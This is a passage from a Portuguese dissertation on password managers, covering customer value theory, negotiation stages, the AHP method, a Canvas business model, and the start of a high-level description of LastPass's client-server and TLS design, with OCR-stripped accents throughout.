do que este é. De modo mais simplista, em 1998, aquele era compreendido como aquilo que se
adquiria, ao se pagar por um determinado produto (Sirohi, McLaughlin & Wittink 1998). Numa
publicacdo mais recente (Chen & Dubinsky 2003), seriam consideradas as “vantagens que o
consumidor tem ao se trocar custos pelos beneficios desejados” (traducdo). Mais tarde ainda,
seria assumido como um fator, que determina a probabilidade de um consumidor, comprar um
determinado produto (Tajuddin, Olphert & Doherty 2015). Apesar das diferencas nas
abordagens, todas estas tém em comum trés particularidades:

e Estdo relacionadas com uma proposta de valor feita ao cliente, podendo esta ser
disposta em formato de produto, objeto ou servigo (Broekhuizen 2006);

e PressupGem algo que é percebido pelo comprador, ou seja, é o resultado da analise
feita por este (Zeithaml 1988);

e Resulta da troca entre o que o consumidor recebe efetivamente, e o custo associado
(Woodruff 1997).

E de realcar a primeira caracteristica, pelo que se torna essencial explicar o que é, efetivamente,
uma proposta de valor.

Tal como as anteriores nogdes, a proposta de valor tomou varios significados ao longo do
tempo. Ja em 1998, existia este conceito, indicando que era o grupo de experiéncias que uma
dada organizacdo oferece aos seus fregueses (Lanning 1998). Mais recentemente, em 2015,
esta tornar-se-ia mais completa, e assim seria vista como aquilo que era prometido aos
consumidores, de forma a satisfazer alguma necessidade que estes tenham, criando assim
algum bem (Buttle & Maklan 2015). Tendo em conta as diferentes defini¢des e a linha de
raciocinio empregues anteriormente, é possivel afirmar que aquela se torna vital para qualquer
negaocio.
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4.2 Beneficios e Sacrificios

O valor percebido pelo consumidor é considerado a diferenca entre os beneficios e os sacrificios
entendidos (Bajs 2015). Diversos autores mencionaram estas propriedades nos seus trabalhos
(Bolton & Drew 1991; Chen & Dubinsky 2003; Zeithaml 1988). Nestes, sdo enunciados o
conceito de ganho que se tem ao receber o bem ou servico, e dos custos/dificuldades
enfrentados na aquisicao destes. No que se refere aos primeiros, estes podem ser classificados
como funcionais e ndo funcionais. Os funcionais sdo vistos como utilidades (como é o caso da
qualidade do objeto ou tarefa), enquanto os restantes sdo, por vezes, intitulados de heddnicos,
e estdo relacionados com algo emocional/intangivel, como por exemplo prazer, divers3o, etc.
(Pallas, Groening & Mittal 2014; Xu, Peak & Prybutok 2015). Por outro lado, os sacrificios podem
assumir uma importancia monetaria (preco percebido) ou ndo (custos psicoldgicos e esforcos),
dependendo da sua natureza (Xu, Peak & Prybutok 2015). Assim, para a andlise que é feita neste
documento, pode ser vista como vantagem funcional, a qualidade do estudo feito, e como lucro
heddnico, a seguranca e conforto. Em contrapartida, é considerado como sacrificio, o tempo
despendido para a compreensdo dos conceitos descritos na dissertacao.

4.3 Criagao de Valor para o Consumidor

De acordo com Woodall, surgem quatro fases importantes para enquadrar os diversos
beneficios e sacrificios, numa perspetiva longitudinal. A primeira etapa acontece antes da
aquisicdo/compra do bem ou servico. E nesta que os consumidores irdo entender aquilo que é
oferecido como valor. A fase seguinte diz respeito ao momento em que se da a troca, seguindo-
se a que ocorre num intuito pds-venda. Por ultimo, sera a de pds uso (Faroughian et al. 2012;
Woodall 2003). Assim, os beneficios e sacrificios discutidos no final da sec¢do anterior
(referentes ao presente projeto), podem ser distribuidos do seguinte modo: na primeira e
segunda fase, ndo é espectdvel qualquer tipo de (des)vantagem; na terceira, o valor é
apresentado sob a forma de qualidade, em troca dos custos mencionados; por fim, no ultimo
passo esperam-se todos os beneficios enunciados, e nenhuma dificuldade.

Woodall, para além de propor uma divisdo temporal para os diversos ganhos e custos,
disponibilizou ainda uma classificacdo no que se refere ao valor dos produtos/servicos para o
consumidor (Woodall 2003). Sdo assim admitidas as seguintes categorias:

e Liquido — comparacgado feita, a partir de calculos matematicos, entre os proventos e
privacoes, como é demonstrado por Heskett e os seus colegas (Heskett, Sasser &
Schlesinger 1997). Ha que salientar ainda (Woodall 2003), que “este conceito favorece
uma perspetiva utilitaria de compra e consumo” (traducgdo);

e De marketing — esta associado as caracteristicas do produto, manipuladas pelo
fornecedor;
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e Devenda— neste caso, é visto como a reducao dos gastos no mercado, que é admitido
como um ambiente competitivo;

e Racional — este, trata-se da comparacao do preco que é entendido pelo cliente como
sendo justo para o bem, e o valor real deste;

e Derivado — o ultimo conceito a apresentar é dado pelas vantagens vistas pelo utilizador
ao consumir o produto/servigco (Woodall 2003).

Apesar de existirem outras formas de valor concebidas para o cliente, as definicdes anteriores
sdo as mais relevantes e constituem a base das redes de valor e de colaboracdo (Nicola, Ferreira
& Ferreira 2012). A construcdo de uma rede do primeiro tipo estd inteiramente relacionada com
o conceito geral de valor, e prende-se com a sua producdo, através de um conjunto de
entidades, com o objetivo de o fornecer aos consumidores (Tapscott, Ticoll & Lowy 2000). Por
outro lado, as colaborativas sdo ligacdes computadorizadas distribuidas e (possivelmente)
heterogéneas, de pessoas ou organizacdes, de forma a atingirem objetivos compativeis (Nicola,
Ferreira & Ferreira 2012). Tendo em conta que o ultimo conceito envolve a realizacdo de
atividades complexas (colaboracdo e interligacdo de entidades), é interessante desenvolver
uma estrutura, que reduza a dificuldade da sua execucao.

Aplicando todo o conhecimento disponivel sobre as redes colaborativas, foi possivel
implementar um modelo simples e normalizado (que utilizava notacdo padrdo), de nome
ARCON (A Reference Model for Collaborative Networks), que soluciona os problemas discutidos.
De um modo geral, o ARCON permite entender as entidades envolvidas e o seu relacionamento
na rede, ao expor trés perspetivas: do ciclo de vida, das diversas estruturas e dos componentes
exogenos e enddgenos de cada fase. A primeira tem como intuito apresentar as etapas
temporais (criacdo, operacao, evolugdo, metamorfose e dissolugdo); a segunda apresenta o
modelo, consoante os diferentes niveis de abstracdo (geral, especifico e de implementacgdo); e
a terceira indica os diversos elementos internos e as interagdes externas que podem influenciar
a rede (Camarinha-Matos & Afsarmanesh 2008). Recorrendo ao modelo explicado, podem ser
construidos outros mais completos, como é o caso do concetual para decomposicdo do valor
para o consumidor (CMDVC, ou Conceptual Model for Decomposing Value for the Customer).
Para a construcdo deste foram utilizadas as seguintes grandezas: posi¢cGes temporais e formas
de valor (detalhadas por Woodall), ativos tangiveis e intangiveis, as vantagens e custos
percebidos e, finalmente, a perspetiva exdgena e enddgena ARCON (Nicola, Ferreira & Ferreira
2012).

4.4 Cenarios de Negocio

Segundo o artigo de David Lax e James Sebenius (e outros autores), a negociacdo era vista como
um processo de comunica¢do entre duas ou mais entidades para atingir uma visdao conjunta,
para um determinado problema em questdo (Lax & Sebenius 1986; De Moor & Weigand 2004).
Mais recentemente (Nicola, Ferreira & Ferreira 2010), foi explicada como a “entrega de algum
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bem ou servico, tangivel e intangivel, sendo o seu valor aceite e premiado por um

par/fregués/cliente, que se encontra dentro da mesma empresa ou rede colaborativa, ou fora

da organizacdo” (traducdo). Este procedimento passa por varios passos, tal como sugerido por

Charles Craver, para o qual existem seis estagios:

1.

Preparagao —onde se avalia a informacao, e se escolhe qual deve ser considerada como
importante para o negdcio;

Estabelecimento das entidades — quando é iniciado o didlogo entre as diversas partes
integrantes do processo, e quando estes comegam a conhecer os outros negociadores;

Troca de informagao — fase onde os participantes devem descobrir dados relevantes
sobre os demais (foco nos outros);

Passo distributivo — apds o estadio anterior, os intervenientes pensam no que
realmente querem para estes (foco no préprio) e sugerem aos restantes;

Fecho do negdcio — etapa onde os participantes devem agir de forma deliberada e de
maneira a concluir a interacao;

Fase cooperativa — por fim, é estabelecido o acordo entre as diferentes partes e
finaliza-se com a gestdo de propostas feitas (Craver 2003).

Mais tarde, outros autores, como por exemplo Alan McCarthy e Steve Hay (McCarthy & Hay

2015), sugeriram a decomposicdo em:

Planeamento — aqui, é fundamental delinear o que se pretende na negociacdo, bem
como, o definir o que se espera desta;

Discussao — fase que tem o intuito de esclarecer, perante os diferentes interlocutores,
o que realmente se quer atingir, para que tal fique claro;

Proposta — comunicagao da informacgdo referente as caracteristicas, beneficios e os
fatores exclusivos daquilo que se estd a tentar acordar;

Intercambio — Etapa que passa pela decisdo do que cada parte se compromete a
disponibilizar a outra;

Aprovacao e confirmagdo — Como passo final, surge a necessidade de aceitacdo e
concordancia, dos termos impostos anteriormente.

Numa negocia¢do, podem ocorrer varias alternativas. Para Peter Carnevale e o seu colega Dean

Pruitt era estabelecido um conjunto de quatro finais possiveis para a interagdo em questdo. Um

resultado seria haver um simples compromisso entre intervenientes. Outro cenario seria haver

uma compensacdo para uma dada fagdo (onde a outra ndo receberia qualquer beneficio). Numa

situacdo ocasional, poderda nem sequer haver acordo. Por fim, poder-se-ia obter o resultado
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onde ambas as entidades ficariam com as suas necessidades satisfeitas, através da aquisicdo
dos beneficios maximos pela acdo de cooperacgdo (Carnevale & Pruitt 1992).

4.5 Tratamento da Informacao

Cada parte da negociacao deve usar técnicas analiticas para o tratamento de informacao, para
conseguir determinar o mais importante desta (Shyur & Shih 2015). Para isso, recorre-se a uma
ou mais dimensd&es (dependendo do grau de complexidade da situagao), tendo como finalidade
atingir uma apreciacdo razoavel. No entanto, o uso de uma Unica unidade, ja ndo é muito
aplicado para a tomada de decisdo, uma vez que devem ser tidos em conta o maximo de
parametros possiveis, para que o juizo final seja mais exato (Ishizaka & Nemery 2013). Assim,
so serd apresentado um mecanismo que utiliza varias medidas.

O método AHP (Analytic Hierarchy Process) é um procedimento que foi concebido por Thomas
Saaty, e é muito empregue para o género de caso apresentado (Saaty & Vargas 2012; Schmoldt
et al. 2001). Este tipo de processo admite diversas fases: definicdo de um objetivo; estruturacdo
hierdrquica de critérios, subfactores e alternativas; comparacao destas ultimas; cdlculo das
prioridades relativas e absolutas; e, por fim, uso das prioridades adquiridas (Saaty 2008). De
modo a obter-se uma maior (e melhor) compreensdo das diversas etapas, é indicado um
modelo.

Considerando que o tema do documento, se prende com os gestores de palavras-chave, é
interessante expor, como exemplo, a compra de um password manager. Assim, sdo assumidos
critérios, tais como o tipo de programa (podendo ser locais, baseados na web ou moveis),
numero de fatores de autenticacdo (1, 2 ou 3) e a plataforma (Windows, Linux ou MacQS). A
partir desta base, podem ser constituidas alternativas, como por exemplo {local, 1, Linux},
{baseado na web, 3, MacOS} ou {mdvel, 2, Windows}, cruzando os fatores (ver Figura 2).

Compra de um
password manager

Nimero de fatores de

Tipo de mecanismo =
autenticacdo

Plataforma

Local 1 Windows

Baseado na web 2 Linux

Movel 3 MacOS

Figura 2 — Organograma representativo do exemplo para AHP
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Depois de ser construido o diagrama, os elementos do segundo nivel sdo comparados aos pares
(tipo de mecanismo/nimero de fatores de autenticagdo, tipo de mecanismo/plataforma e
numero de fatores de autenticacdo/plataforma), sendo atribuida uma classificacdo a cada um
destes. Para isso, é admitida uma escala de g até 9, onde o valor inicial indica que algo tem 9
vezes menos importancia que o outro; o final quer dizer o contrario do anterior; e o valor
intermédio, que ambos tém a mesma relevincia (Saaty 2008). Posteriormente, os dados
elaborados sdo expressos numa matriz, como é ilustrado em (1).

Critérios/ Critérios Tipodemecanismo Numerode Fatores Plataforma

Tipo de mecanismo 1 1/2 1/2 .
Numerode Fatores 2 1 1 @)
Plataforma 2 1 1

Atendendo a ultima estrutura, comprova-se que o tipo de mecanismo é duas vezes menos
relevante que os restantes aspetos (tendo estes a mesma importancia). Logo, é possivel
quantificar (em percentagem) a importancia de cada dimensao, pelo calculo do vetor de Eigen.
Isto é realizado, recorrendo a quatro operacdes: determinacdo da soma de todas as colunas,
divisdo de cada membro da matriz pelo resultado obtido (correspondente a coluna daquele),
execucdo do total da adicdo para as linhas originadas, e quociente entre o vetor adquirido e o
tamanho da matriz (neste caso 3). A solucdo conseguida, também se da o nome de vetor préprio
(Ariff et al. 2008).

Uma vez que as comparagles feitas sdo subjetivas (na medida em que se tratam de
julgamentos), ha que garantir que estas tém alguma credibilidade. Por isso, recorre-se ao
chamado teste de consisténcia. Este baseia-se na denominada taxa de consisténcia (CR), que
se calcula em trés passos: determinacgdo do valor proprio (eigenvalue), do indice de consisténcia
(CI) e, por fim, do racio pretendido (Aminbakhsh, Gunduz & Sonmez 2013). Assim, no primeiro
estadio, sdo adicionados os produtos da multiplicacdo da matriz inicial pelo vetor préprio, é
dividido o resultado pelo vetor de Eigen, sdo somados todos os algarismos anteriores, e é feita

(Amax—1)
(n-1)
N . cI -
n representa o tamanho da matriz inicial. E, finalmente, calcula-se, CR = = onde RI indica um

uma média entre eles, resultando em A,,,,4. J4 no segundo passo, deduz-se CI = , onde

numero fixo, alcangcado tendo em conta a Tabela 3.

Tabela 3 — Valores para o indice aleatério (Henderson & Dutta 1992)

Tamanho da 1 2 3 4 5 6 7 8 9 10 11 12
matriz (n)
indice (RI) 0O O 058 09 112 124 132 141 145 149 151 158
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Ao ser adquirido CR, chega-se a uma de duas conclusdes: ou este € menor que 0.1 (o que
aponta para uma solucdo consistente), ou implica a revisdo das apreciacdes praticadas
previamente. Caso esteja tudo certo, o processo é repetido na totalidade para os subfactores
(Ariff et al. 2008).

Depois de terem sido descobertas todas as percentagens, é necessario contabilizar os valores
absolutos, pois, até entdo, sé foram encontrados os relativos. Assim, multiplicam-se as
percentagens dos critérios pelas subcategorias. Apds se somarem as devidas proporgoes,
obtém-se os resultados para cada alternativa, originando uma classificagao para todas elas.
Utilizando estes recursos, é possivel optar pela melhor escolha (Saaty 2008).

4.6 Modelo Canvas

Para que todos os negdcios possam ser entendidos por qualquer pessoa/instituicdo, deve ser
adotado um modelo que apresente todos os seus aspetos criticos. Para esse fim, nesta secgao,
é sugerida uma estrutura denominada Canvas que, a partir da elaboracdo de nove tdpicos,
consegue abordar os fatores organizacionais e financeiros para qualquer empreendimento.
Além do referido, é feita a descricdo do negdcio para o projeto em causa, usando o recurso
mencionado.

4.6.1 A Estrutura Padrao

Em todos os negdcios devem ser usadas técnicas, para que as ideias essenciais destes sejam
percebidas por outras entidades. Estas apresentam as formas, usadas pelas organizagées, para
criar, capturar e entregar valor. Porém, foi provado (Ghaziani & Ventresca 2005) que cada teoria
abordava a sua ideia de forma distinta (foco em diferentes aspetos). Para resolver tal
complexidade, foi definido um modelo por Alexander Osterwalder e Yves Pigneur, de nome
Canvas, que cria uma linguagem partilhada para definigdo dos negdcios. Este estabelece nove
blocos que indicam a informacéao referente a proposta de valor da empresa, aos seus clientes
alvo, a sua estrutura e aos seus aspetos financeiros (Barquet et al. 2013; Osterwalder & Pigneur
2010).

O primeiro descreve quais os consumidores que a organizagdo serve. Oferece, portanto, uma
perspetiva do mercado-alvo a atingir. A proposta de valor tem em vista descrever aquilo que é
implementado, de maneira a satisfazer as necessidades do cliente. No bloco que indica o
relacionamento com estes ultimos, deve ser explicado como serdo estabelecidas as diversas
comunicag¢des com os clientes. Os canais apresentam o meio de entrega ou distribuicao do valor
aos mesmos. Atividades, recursos e parcerias-chave representam as formas fundamentais de
funcionamento, materiais e aliancas, respetivamente, praticadas pela organizacdo. E, por fim,
as fontes de receita e a estrutura de custos relatam os ganhos e os gastos que sdo executados
para atingir as metas empresariais (Osterwalder & Pigneur 2010).
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Dada a importancia do artefacto explicado, serd feita uma avaliacdo ao negdcio em causa,
utilizando o modelo anterior. No final desta, sera exposta uma imagem (Figura 3), para
simplificar a compreensao do que foi narrado.

4.6.2 Segmentos de Clientes

Tal como é realizado pela EDP (EDP 2016), é necessario fazer uma andlise da segmentacdo dos
clientes-alvo a atingir, de forma a compreender aonde o produto deve ser inserido. Assim,
prevé-se que o estudo em causa (e possivel realizacdo de um password manager), atinja o nicho
de mercado tecnolégico, visto que é onde todos os artigos baseados em sistemas informaticos
se enquadram. Este meio caracteriza-se por estar em continua mudanca, devido a evolucdo
constante que ocorre diariamente. Portanto, é inolvidavel que se trata de um ambiente que
exige bastantes condicbes/restri¢cbes de protecio.

Mais especificamente, o estudo (e programa) proposto a ser feito, é orientado para as pessoas
gue tenham interesse em armazenar as suas credenciais (de varias aplicagdes web), de forma
segura, uma vez que o projeto fornece uma visdo geral, de como os mecanismos atuais estao
estruturados, logo serdo entdo as entidades mais relevantes para a oferta a ser desenvolvida.

4.6.3 Proposta de Valor

Para garantir valor ao cliente, vai ser redigido um documento digital, que visa a pesquisa
intensiva de alguns dos gestores de palavras-chave existentes, de modo a dar uma perspetiva
do que ja foi implementado. Desta forma, o leitor podera (dentro do conjunto experimentado)
interessar-se por uma solugdo de salvaguarda que satisfaca as suas necessidades, no que toca

a protecao e fiabilidade. As técnicas analisadas serdo selecionadas em consonancia com o
numero de utilizadores, bem como a importancia dos seus métodos.

Caso os resultados do estudo demonstrem que os mecanismos utilizados tém riscos, sera
produzida uma aplicagdo que atenderd aos objetivos de salvaguarda e confianga, bem como
corrigird todos os aspetos que sejam considerados como falhas criticas das alternativas
disponibilizadas. Assim, serd construida uma plataforma simples que da suporte ao
armazenamento e a geragdo de credenciais (nomes e chaves de acesso), para que um utilizador
nao seja obrigado a criar e a relembrar as senhas, e para que esta a¢do seja feita com seguranca.

4.6.4 Relacionamento com Clientes

Uma boa comunica¢gdo com os potenciais utilizadores do projeto, estabelece-se através de
alguns meios de relacionamento com eles, dependendo novamente, se é feita uma Unica
anadlise ou, se também é programada uma aplicacdo. Na primeira situacdo, um cliente podera
entrar em contacto via endereco eletrdnico. J4 na seguinte, para além do enunciado, serd
desenvolvido um mecanismo de ajuda para auxiliar o cliente na pratica das diversas
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funcionalidades do problema. Normalmente, tais instrumentos sdo encarados como um
recurso de CRM (Customer Relationship Management), ou, em portugués, a gestdo de relacdes
com o cliente.

Existem essencialmente trés géneros de CRM, operacionais, analiticos e colaborativos. Os
primeiros tém como principal foco a automatizacdo do negdcio, os segundos sdao usados para
analisar e compreender os dados sobre os clientes, e os colaborativos pretendem agregar toda
essa informacdo (Khodakarami & Chan 2014; Kumar & Reinartz 2012). Para o projeto em
guestdo, sera usado um CRM operacional, mais especificamente, um software de suporte aos
utilizadores.

4.6.5 Canais

O Unico canal que est4 relacionado com o presente negdcio é a Internet. E a partir deste meio
que o documento (e programa) é promovido, avaliado, adquirido, e onde eventualmente se
resolvem os conflitos que possam surgir. Aquela via foi avaliada como sendo a melhor para
efetuar as diversas atividades, visto que é bastante acessivel e conhecida pelos consumidores
como também é prevista como uma escolha benéfica em termos de custos.

4.6.6 Fontes de Receita

Dado que o documento (e aplicagdo) é de cardter gratuito, ndo possui qualquer fonte de receita
associada. Todavia, caso a plataforma opcional seja desenvolvida, prevé-se a execu¢do de
mddulos que complementam o sistema anterior e que, eventualmente, terdo um custo de
utilizacdo. Como ainda ndo estdo estipulados todos estes elementos, torna-se dificil indicar um
valor exato, contudo este deve rondar uma ordem baixa de grandeza (de 5 a 10€). Quando se
paga esta quantia, as funcionalidades sdo desbloqueadas permanentemente.

4.6.7 Atividades-Chave

Sao inUmeras as atividades que se tornam necessdrias para a execu¢ao do modelo em causa.
Porém, so algumas possuem um grau de relevancia critico, sendo estas denominadas de
atividades-chave. Para o esquema adotado, preveem-se as seguintes praticas essenciais:

e Aquisicdo de conhecimento de aplicagGes ja existentes;
e Estudo dos conceitos essenciais para a salvaguarda da informac¢do do consumidor;
e Concecgdo de uma anadlise de qualidade, recorrendo aos tépicos anteriores.

Como objetivo principal, pretende-se dar resposta a problemas relacionados com o
armazenamento e seguranca das credenciais dos utilizadores, em que o cumprimento de todos
os passos é fundamental para todo o processo de negdcio.
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4.6.8 Recursos-Chave

Existe uma diversidade de ativos que se consideram relevantes para o negdcio. Como base, ha
gue considerar os bens fisicos, como é o caso das maquinas que vao ser usadas para a producao
do ficheiro (e aplicacdo), que se tornam essenciais para o desenvolvimento e para a gestdo
deste. Estes elementos sao, de facto, os que se apresentam como mais valiosos, na medida em
gue sao os utensilios de producao e de comunica¢cdo com os consumidores.

Também ndao menos importantes sdo os intelectuais. Estes sdo representados em forma de
direitos de autor, dados (que sdo utilizados na aplicacdo) e conhecimento. Estes dois ultimos
sdo adquiridos de diversas fontes (artigos, Internet, livros, etc.) e sdo considerados também
necessarios para a execucdo das diversas atividades.

Para além de tudo o que foi mencionado, o projeto inclui o uso de recursos humanos para o seu
progresso. Neste caso, sé sera preciso um individuo para executar o plano de negdcios. Assim
sendo, ndo se preveem pedidos de ajuda financeiros a quaisquer entidades.

4.6.9 Parcerias-Chave

Nao foram admitidas parcerias com quaisquer entidades para a realizacdo do projeto. No
entanto, futuramente, se for desenvolvido algum software, esperam-se algumas aliangas com
empresas relacionadas com o mercado tecnoldgico (mais especificamente, o de seguranca
informatica), de forma a estabelecer algumas metas e padrdes de implementagdo de qualidade
daquele.

4.6.10 Estrutura de Custos

Ndo se esperam encontrar custos associados ao negdcio em causa, atualmente. No entanto, se
se proceder a implementacdo do programa, serdo considerados gastos no dominio (2-5€ por
més), onde vai ser partilhada a aplicacdo. Este podera ser substituido pela distribuicdo feita a
partir do Google Play’ (25$, que equivale a cerca de 23€ pagos aquando o registo no servico). E
de salientar ainda, que existe a possibilidade de custos adicionais com a execuc¢do de um
servidor necessario para a implementacdo do gestor de passwords (estimativa de 20€ em valor
Unico). Porém, como ndo se trata de uma certeza, tais custos serdo rejeitados, por enquanto.

7 Fonte: https://play.google.com/store?hl=pt-PT (abril 2015)
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4.6.11 Conclusoes do Modelo Canvas

Como se pode comprovar, para que se consiga descrever um negécio, é necessdria a adogao de
um modelo que, de modo normalizado, explique os diversos detalhes envolvidos no
empreendimento. De forma a cumprir tal requisito foi elaborado um padrdo, de nome Canvas,
gue tem o intuito de relatar pormenores sobre: o publico/mercado-alvo; o que é oferecido pela
organizacdo; como os consumidores podem contactar os autores do produto/servi¢co; como é
gue a proposta é distribuida; os recebimentos e gastos esperados; as praticas essenciais para a
implementacdo do que foi proposto; materiais, pessoas, conhecimento/direitos e suporte
financeiro; e as aliancas realizadas.

Uma melhor compreensao do projeto em causa, é conseguida usando o modelo Canvas, através
da esquematizacdo do negdcio. Assim, conclui-se o seguinte:

e Of(s) produto(s) foca(m)-se no mercado informatico, nomeadamente, pessoas que
tenham interesse na seguranca da informacao e credenciais;

e Tenciona-se desenvolver um documento (e um software), que pretende analisar o que
ja existe na area de salvaguarda dos dados, bem como (possivelmente) fornecer uma
alternativa nova;

e Para eventuais contactos, podera ser usado o correio eletrénico;
e O(s) recurso(s) serad/serdo facultados pela Internet;
e Nao existirdao quaisquer ganhos ou custos, exceto se for desenvolvida uma aplicagdo;

e E essencial efetuar uma investigacdo sobre os mecanismos ja implementados, e
aprofundar os conhecimentos na drea da seguranga tecnoldgica;

e Serdo empregues recursos fisicos, intelectuais e humanos;

e N3o estdo conseguidas quaisquer aliancas, porém, estas poderdo ser criadas
futuramente.

Tendo todos estes tdpicos em mente, torna-se facil entender o que é proposto para o negdcio.

4.7 Resumo da Andlise de Valor

Qualquer produto ou servico a ser inserido num mercado, deve ter uma ou mais
particularidades que o distinga dos demais. Normalmente, esta(s) caracteristica(s)
representa(m) o valor daqueles. Contudo, tal conceito é muito mais complexo, pois, ao longo
dos anos, foram admitidas vdrias definicdes. No entanto, todas elas conjugam algo que é
desejado e percebido pelo consumidor, originando assim a chamada proposta de valor.
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Entenda-se como desejado, aquilo que o cliente ambiciona, e percebido, a comparagao entre
os beneficios e os sacrificios entendidos por ele.

Estes ganhos (funcionais ou ndo) e custos (monetarios ou ndo) sdo diferentes para momentos
temporais distintos (assim como é considerado por Tony Woodall). Para além disto, o autor,
também propds categorias diferentes de valor para um cliente (liquido, de marketing, de venda,
racional e derivado), que constituem a base das redes de valor e colaboragdo. As primeiras sdo
estabelecidas por um grupo de individuos, e tém como meta a aquisicdo de valor para os seus
criadores bem como para os consumidores. Ja as segundas, sao formadas por um aglomerado
de pessoas distribuidas (mas ligadas por uma rede informatica), que pretendem alcangar
objetivos concilidveis, através da colaboragdo. Visto que estas Ultimas implicam a realizacdo de
exercicios complexos (interoperabilidade e cooperacao), foi desenvolvido o modelo ARCON que
suporta o processo de concecdo de redes colaborativas e pode ser aplicado numa estrutura
mais completa (como por exemplo, CMDVC), auxiliando assim na criagdo de valor para o cliente.

Habitualmente, tal é executado quando se prevé uma negociacdo. Esta é uma atividade
funcional e temporalmente dividida em fases (como as sugeridas por Alan McCarthy e Steve
Hay), e assume varios desfechos: o acordo basico entre as entidades; ocasionalmente, a
garantia de beneficios para uma sé parte; lucro maximo para as duas, através da cooperacao;
ou, em ultimo caso, podera nem haver negécio.

Para além disto, numa qualquer negociagdao devem ser considerados e analisados os elementos
recolhidos desta. Assim, sdo usados métodos analiticos para o tratamento da informacado, como
€ o caso do AHP. Este procedimento pressupde as seguintes etapas: definicdo de um objetivo;
desenho e estruturacdo hierdrquica de critérios, subfactores e alternativas; determinacdo de
prioridades; e decisao, tendo em conta o conjunto de opgdes. O método em questdo é bastante
utilizado, pois, para além de permitir examinar as potenciais escolhas, também possibilita a
verificacdo da consisténcia dos julgamentos concretizados.

De modo a que as pessoas/instituicdes consigam entender o que é oferecido num acordo, é
preciso uma norma, que garanta que todos compreendam o negdcio em causa. Foi com esta
finalidade que surgiu o modelo Canvas. Construido por Alexander Osterwalder e Yves Pigneur,
este é constituido por nove elementos: segmento de clientes; proposta de valor;
relacionamento com clientes; canais; fontes de receita; atividades-, recursos- e parcerias-chave;
e estrutura de custos. Para o exemplificar, foi exposto o modelo Canvas para o projeto
idealizado, que tem em vista, atingir o mercado tecnoldgico, ao oferecer uma andlise (e
eventual aplicacdo), para relatar o estado atual dos gestores de palavras-passe e resolver
possiveis problemas existentes nestes softwares. Prevé-se ainda que tal recurso seja
disponibilizado na Internet; os clientes possam entrar em contacto via endereco eletrénico; e
que sejam utilizados recursos fisicos (computador), intelectuais (direitos, informacdo e
conhecimento) e humanos. Caso seja vidvel a implementa¢do de um programa, devem ainda
ser consideradas parcerias (com empresas do ramo informatico), despesas (dominios e
hospedagem) e receitas (de mddulos adicionais).
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Resumo da Analise de Valor

Atendendo ao que foi explicado neste capitulo, conclui-se que o valor de um dado
empreendimento e os detalhes referentes as negociacdes, adquirem uma elevada relevancia,
pois ajudam a compreender e a prever situacdes de risco, para um dado negécio.
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5 Analise aos Gestores Anteriores

Seja em que sistema for, é necessdrio ter em conta que podem surgir vulnerabilidades. Estas
nao sdo mais do que ameagas que comprometem eventualmente a informacao incluida numa
dada maquina. Assim, é de maior importancia acabar com elas, para que tudo permaneca
operacional e estavel. Tais problemas surgem em trés partes (emissor, recetor e/ou canal). Cada
uma tem as suas caracteristicas, pelo que devem ser analisadas e protegidas de forma diferente.
Para que haja esta administracdo diferenciada é necessdrio um controlo constante dos
elementos enunciados, o se pode tornar uma tarefa complexa.

Devido ao obstaculo anunciado, considera-se que qualquer tecnologia que se encontre
atualmente no mercado informatico tem os seus defeitos, por mais pequenos que sejam. Até
mesmo os atuais gestores de palavras-chave, apesar de aplicarem normas de seguranca
rigorosas, ndo sao excegao.

Para comprovar que estes tém efetivamente diversos riscos, foram escolhidas e examinadas
algumas ferramentas recentes. Para esta sele¢do recorreu-se a artigos, paginas web e relatdrios
de empresas, de modo a estudar as que fossem mais utilizadas e discutidas. Apés uma avaliacdo
ponderada, os programas selecionados foram: LastPass, Dashlane® e KeePass®. Os dois
primeiros destacaram-se pela versatilidade e popularidade. Ja o ultimo, apesar de nao ter tanta
notoriedade, € moderadamente conhecido pela sua eficacia.

Atendendo ao que foi descrito, em seguida vdo ser expostos os dados e os resultados da
investigacdo efetuada, para que se possa alertar os atuais (e possiveis) utilizadores, para
potenciais perigos.

8 Fonte: https://www.dashlane.com/pt/ (abril 2016)
% Fonte: http://keepass.info/ (abril 2016)
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5.1 LastPass

O LastPass é um dos gestores mais conhecidos. Oferece caracteristicas aliciantes (encriptacdo
de dados, elevada disponibilidade, possibilidade de utilizagcdo de 2FA, etc.), tal como o suporte
a um grande nimero de plataformas (Windows?°, Android!, Google Chrome??, etc.). Como é
percetivel nos exemplos facultados, a solucdo em questdo encontra-se implementada de modo
a oferecer uma resposta global (LogMeln 2016). Torna-se entdo interessante perceber o seu
esquema de execugdo.

5.1.1 Modelo de Funcionamento

Existem duas entidades bdsicas presentes no modelo: cliente e servidor. O primeiro, é
representado sob a forma de uma aplicacdo instalada no computador ou telemével, enquanto
o segundo, é figurado por um qualquer sistema, controlado pelo LastPass. A comunicacdo entre
estes é feita através de um canal protegido pelo protocolo TLS, que é estabelecido pela
utilizacdo da biblioteca OpenSSL'® (LogMeln 2016). Tal biblioteca recorre a trés itens para
assegurar a via: um algoritmo de chave publica (para a afirmacdo de identidade), uma senha
simétrica (para a ligacdo) e um certificado (Bella, Giustolisi & Lenzini 2013; Bhargavan et al.
2013; Krawczyk, Paterson & Wee 2013; Wang, Gamage & Hauser 2016). De forma sucinta, sdao
precisos trés estadios para a geracdo e processamento de tais recursos:

1. Num passo inicial, o servidor (LastPass) requisita um certificado a uma AC (Autoridade
de Certificacdo), para garantir que ele é, efetivamente, quem diz ser. Esta etapa deve
ser executada para se estabelecer a primeira comunicagao e é usada periodicamente,
para que a validade do comprovativo ndo expire (Bella, Giustolisi & Lenzini 2013;
Brubaker et al. 2014);

2. Apds se obter o requisito anterior, o cliente podera ligar-se ao servidor, de forma
segura. Assim, este envia a versdo do protocolo (TLS) e uma lista de algoritmos
suportados para o segundo. Este ultimo responde com uma confirmacdo (dos
parametros passados) e a sua chave publica (Bella, Giustolisi & Lenzini 2013; Meyer et
al. 2014; Turner 2014);

3. Por fim, a aplicagdo valida o ultimo recurso mencionado. Caso este seja de carater
verdadeiro, é utilizado para encriptar uma senha gerada no lado do cliente, sendo o
resultado posteriormente divulgado ao LastPass, para que este consiga descodificar o
que lhe é passado (Meyer et al. 2014; Turner 2014).

10 Fonte: https://www.microsoft.com/pt-pt/windows/ (abril 2016)

1 Fonte: https://www.android.com/ (abril 2016)

12 Fonte: https://www.google.com/chrome/browser/desktop/index.html (abril 2016)
13 Fonte: https://www.openssl.org/ (abril 2016)
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O canal especificado serve para o transporte de dados privados, que sdo dispostos num
repositério apelidado de cofre. Este é sempre encriptado localmente (tal como todos os
